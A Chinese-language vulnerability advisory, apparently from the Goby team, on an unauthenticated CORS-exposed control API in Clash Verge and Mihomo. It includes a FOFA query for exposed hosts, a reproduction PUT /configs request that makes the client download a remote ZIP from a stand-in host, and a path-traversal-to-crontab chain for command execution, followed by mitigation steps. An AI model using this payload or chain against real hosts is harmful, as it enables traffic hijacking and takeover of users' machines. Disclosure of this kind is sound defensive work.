近日,Goby安全研究团队发现Clash verge 两个RCE漏洞:
4月28日,Clash verge RCE漏洞:此漏洞需要本地提权触发,官方告知广大用户无需过渡恐慌。
5月19日,Clash verge RCE漏洞:攻击者通过该漏洞构造恶意网页,可在用户无感知的情况下篡改Mihomo(Clash核心)配置文件,最终可以实现任意文件写入和远程命令执行。
Goby安全团队随即响应测试,我们在测试过程中发现了一些不一样的东西:实际上,远程攻击者可实现的攻击链路不仅于此,最直接的攻击链路可以通过篡改Mihomo(Clash核心)配置文件达到例如:删除配置文件导致用户机器断网或修改指定配置文件监听流量的目的。
再通过进一步深入测试发现,不止Clash Verge ,只要对外开启了Web控制服务的Clash相关产品都存在此攻击风险。最重要的是,Clash的Web控制服务下载后默认开启的(默认端口为9090/9097),且所有历史版本(Clash ≤2.2.4 , Mihomo ≤v1.19.8)都受此漏洞影响,那么我们可以直接通过FOFA查询公网影响资产情况:
body=""hello":"mihomo"" || body=""hello":"clash""
通过FOFA资产搜索引擎的搜索结果显示,暴露在公网的相关资产数量达到了13700 + 。
【漏洞分析】
以“修改配置文件,导致目标机器页面显示异常”为例
只要局域网内有机器使用Clash并且对外打开web控制服务端口,攻击者入侵后极有可能修改机器的配置信息。这可能会导致机器的页面显示异常,从而影响正常工作。
复现过程如下:
PUT /configs HTTP/1.1
Host: 127.0.0.1:9097
Connection: keep-alive
Content-Length: 196
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0
Content-Type: text/plain;charset=UTF-8
{"payload":"n external-ui: gY1bN0iF0kG2eN4zn external-ui-url: http://www.demo.com/demo.zipn external-ui-name: demo","path":""}
未授权API调用利用CORS缺陷,恶意网页可跨域操控127.0.0.1:9097
接口
路径穿越投毒通过external-ui: ../../../tmp
突破目录限制,将恶意UI包写入系统临时目录
篡改的配置文件触发Clash GUI核心模块异常
【漏洞危害分析】
按照上述漏洞触发原理,还有可能导致以下危害:
1.修改指定配置文件,劫持代理,截取流量
同理,攻击者还可以通过修改指定的配置文件,对网络流量进行截取。这意味着用户在网络上传输的敏感信息,如账号密码、交易记录等,都有可能被攻击者获取。这将严重威胁用户的隐私安全和财产安全,可能会导致用户遭受诈骗、信息泄露等风险。
2.通过特定链路,可能导致RCE(以Clash Verge客户端为例)
Clash Verge客户端默认配置下在http://127.0.0.1:9097开启了一个RESTFul API服务,且存在CORS问题,恶意网页可以通过该服务修改Mihomo(Clash核心)的配置文件。Clash核心配置文件包含如下字段,可以从互联网下载一个ZIP文件到本地并解压,注意external - ui字段存在路径穿越检查,但是检查不完善,可以通过external - ui - name字段绕过,最终实现本地文件写入。攻击者可以利用这一漏洞,通过特定的链路实现远程命令执行(RCE),从而完全控制受影响的机器。这将给用户带来极其严重的安全后果,如数据被窃取、系统被破坏等。
构造恶意external-ui路径(如../../tmp)
下载含恶意脚本的ZIP文件到系统目录
通过crontab/启动项实现命令执行
【安全修复建议】
-
应尽快将Clash客户端和Mihomo升级至已修复版本:
Clash>= v2.3.0
Mihomo >= v1.20.1
-
关闭不必要的服务端口
由于web控制服务端口是默认开放的,所以用户应检查并关闭Clash客户端对外打开的web控制服务端口,避免将其暴露在公网环境中。这样可以减少被攻击者发现和利用漏洞的风险。
# 立即关闭Web控制端口
sudo ufw deny 9090/tcp
sudo ufw deny 9097/tcp
# 修改默认API密钥
sed -i 's/secret: ""/secret: "YourStrongPassword"/' ~/.config/clash/config.yaml
-
为外部控制添加密码验证
Goby标准版及企业版已支持无损漏洞检测
Goby欢迎表哥/表姐们加入我们的社区大家庭,一起交流技术、生活趣事、奇闻八卦,结交无数白帽好友。
也欢迎投稿到Goby(Goby介绍/扫描/口令爆破/漏洞利用/插件开发/PoC编写/IP库使用场景/Webshell/漏洞分析等文章均可),审核通过后可奖励Goby标准版,快来加入吧~~~
原文始发于微信公众号(GobySec):【漏洞预警】全球数万设备受影响!Clash用户小心:暴露Web控制端口=门户大开!
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论